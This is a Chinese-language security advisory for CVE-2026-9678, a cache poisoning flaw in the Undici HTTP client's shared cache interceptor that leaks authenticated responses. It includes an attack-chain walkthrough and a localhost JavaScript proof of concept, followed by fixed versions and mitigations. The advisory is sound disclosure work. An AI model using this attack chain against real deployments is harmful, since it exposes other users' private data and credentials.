IPBUF安全漏洞报告
English
CVE-2026-9678 CVSS 5.9 中危

CVE-2026-9678 Undici缓存拦截器缓存投毒漏洞

披露日期: 2026-06-17
来源: ce714d77-add3-4f53-aff5-83d477b104bb

漏洞信息

漏洞编号
CVE-2026-9678
漏洞类型
缓存投毒/信息泄露
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Undici (Node.js HTTP客户端)

相关标签

缓存投毒信息泄露UndiciNode.jsHTTP客户端Cache-ControlAuthorization头共享缓存CVE-2026-9678中危漏洞

漏洞概述

CVE-2026-9678是Undici HTTP客户端缓存拦截器中存在的一个缓存投毒漏洞。Undici是Node.js生态系统中最常用的HTTP客户端库之一,其缓存拦截器(cache interceptor)用于缓存HTTP响应以提高性能。该漏洞存在于Undici的缓存拦截器对Cache-Control响应头的解析逻辑中。当上游服务器返回使用空白字符填充的限定性private或no-cache字段名时,例如`private=" authorization"`或`no-cache="\tauthorization"`,Undici的解析器会保留字段名周围的空白字符,导致后续与字面量"authorization"字段名的比较失败,从而使本应标记为不可缓存的响应被错误地存储到缓存中。在共享缓存模式下,这一缺陷可能导致包含某个用户认证数据的响应被从缓存中提供给后续请求者,包括未经认证的请求者,前提是两个请求解析到相同的缓存键。受影响的应用程序需要满足以下条件:显式启用了缓存拦截器(interceptors.cache())的共享模式、向上游转发Authorization头、且接收到具有非规范的限定性private或no-cache指令的可缓存响应。该漏洞的CVSS评分为5.9,属于中危级别,主要影响机密性(C:H),对完整性和可用性无影响。

技术细节

该漏洞的核心问题在于Undici缓存拦截器对HTTP Cache-Control头部字段的解析逻辑缺陷。具体技术原理如下:

1. **HTTP缓存控制规范**:根据RFC 7234,Cache-Control头部的private和no-cache指令可以接受字段名参数,用于指定哪些响应头字段不应被缓存或不应被共享缓存存储。例如,`Cache-Control: private="Authorization"`表示包含Authorization头的响应不应被共享缓存存储。

2. **解析缺陷**:Undici的缓存拦截器在解析这些限定性指令时,没有正确地修剪(trim)字段名参数周围的空白字符。当上游服务器返回类似`private=" authorization"`(authorization前有空格)或`no-cache="\tauthorization"`(authorization前有制表符)的头部时,解析器会保留这些空白字符。

3. **比较失败**:由于解析后的字段名包含空白字符(如`" authorization"`而非`"authorization"`),后续与字面量"authorization"的字符串比较将失败。这意味着系统错误地认为该指令没有指定Authorization字段,从而将本应标记为不可缓存的响应视为可缓存。

4. **缓存投毒利用**:在共享缓存模式下,攻击者可以通过以下方式利用此漏洞:
- 第一步:合法用户发送带有Authorization头的认证请求,获取包含敏感数据的响应;
- 第二步:该响应被错误地缓存(因为Cache-Control的private指令未被正确识别);
- 第三步:攻击者(可能未认证)发送相同缓存键的请求,从缓存中获取其他用户的认证数据。

5. **利用条件**:需要满足三个条件——启用共享缓存模式、转发Authorization头、且上游返回非规范格式的Cache-Control头。

修复版本v7.28.0和v8.5.0中,开发者在解析Cache-Control字段名参数时添加了trim操作,确保空白字符被正确处理。

攻击链分析

STEP 1
步骤1:环境准备
攻击者识别目标应用程序使用了Undici HTTP客户端,并确认其启用了缓存拦截器的共享模式(interceptors.cache({shared: true})),且会将Authorization头转发到上游服务器。
STEP 2
步骤2:分析缓存键
攻击者分析目标应用程序的请求URL和参数,确定哪些请求会解析到相同的缓存键,以便后续请求能够命中已缓存的响应。
STEP 3
步骤3:触发缓存污染
合法用户(或攻击者控制的客户端)发送带有Authorization头的认证请求到目标服务器。如果上游返回带有非规范格式Cache-Control头的响应(如private=" authorization"包含前导空格),该响应会被错误地标记为可缓存并存储到共享缓存中。
STEP 4
步骤4:窃取敏感数据
攻击者发送不带Authorization头的请求(或使用不同用户凭证的请求)到相同的URL。由于缓存投毒,Undici会从共享缓存中返回之前缓存的包含其他用户敏感数据的响应,导致未授权访问其他用户的认证数据。
STEP 5
步骤5:数据泄露
攻击者成功获取到不应被缓存的敏感信息,如其他用户的个人数据、会话令牌、API密钥等,造成大规模数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-9678 PoC - Undici Cache Interceptor Cache Poisoning // This PoC demonstrates how whitespace-padded Cache-Control field names // can bypass Undici's cache control checks const { Client, interceptors } = require('undici'); const http = require('http'); // Step 1: Create a malicious upstream server that returns non-canonical // Cache-Control headers with whitespace-padded field names const maliciousServer = http.createServer((req, res) => { // Simulate a response that should NOT be cached due to Authorization header // But uses whitespace-padded field name to bypass Undici's check res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'private=" authorization", max-age=3600', 'Content-Length': '43' }); res.end(JSON.stringify({ user: 'victim', data: 'sensitive_data_here' })); }); maliciousServer.listen(3001, async () => { console.log('Malicious upstream server running on port 3001'); // Step 2: Create Undici client with cache interceptor in shared mode const client = new Client('http://localhost:3001') .compose(interceptors.cache({ shared: true // Enable shared cache mode (required for vulnerability) })); // Step 3: First request - authenticated user fetches their data // This response should NOT be cached due to private="authorization" // But due to CVE-2026-9678, it WILL be cached const authResponse = await client.request({ path: '/api/user-data', headers: { 'Authorization': 'Bearer victim_token_12345' } }); const authData = await authResponse.body.json(); console.log('Authenticated response:', authData); // Step 4: Second request - attacker without authentication // Due to cache poisoning, this will receive the victim's cached data const attackerResponse = await client.request({ path: '/api/user-data' // No Authorization header - attacker is unauthenticated }); const attackerData = await attackerResponse.body.json(); console.log('Attacker response (should be blocked but cached):', attackerData); // If attackerData contains victim's data, the vulnerability is confirmed if (attackerData.user === 'victim') { console.log('[VULNERABLE] Cache poisoning successful! Attacker received victim\'s data'); } client.close(); maliciousServer.close(); }); // Expected behavior (after fix in v7.28.0/v8.5.0): // The response with private=" authorization" should NOT be cached, // so the attacker's request should not receive cached data.

影响范围

Undici < v7.28.0
Undici v8.x < v8.5.0

防御指南

临时缓解措施
如果无法立即升级Undici版本,可以采取以下临时缓解措施:1)对于包含Authorization头的流量,禁用共享缓存模式(将interceptors.cache配置中的shared设置为false);2)避免对认证请求的响应进行缓存;3)在上游服务器添加Vary: Authorization响应头,确保不同认证状态的请求不会共享缓存条目;4)在应用层对Cache-Control头进行规范化处理,移除字段名参数中的空白字符。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表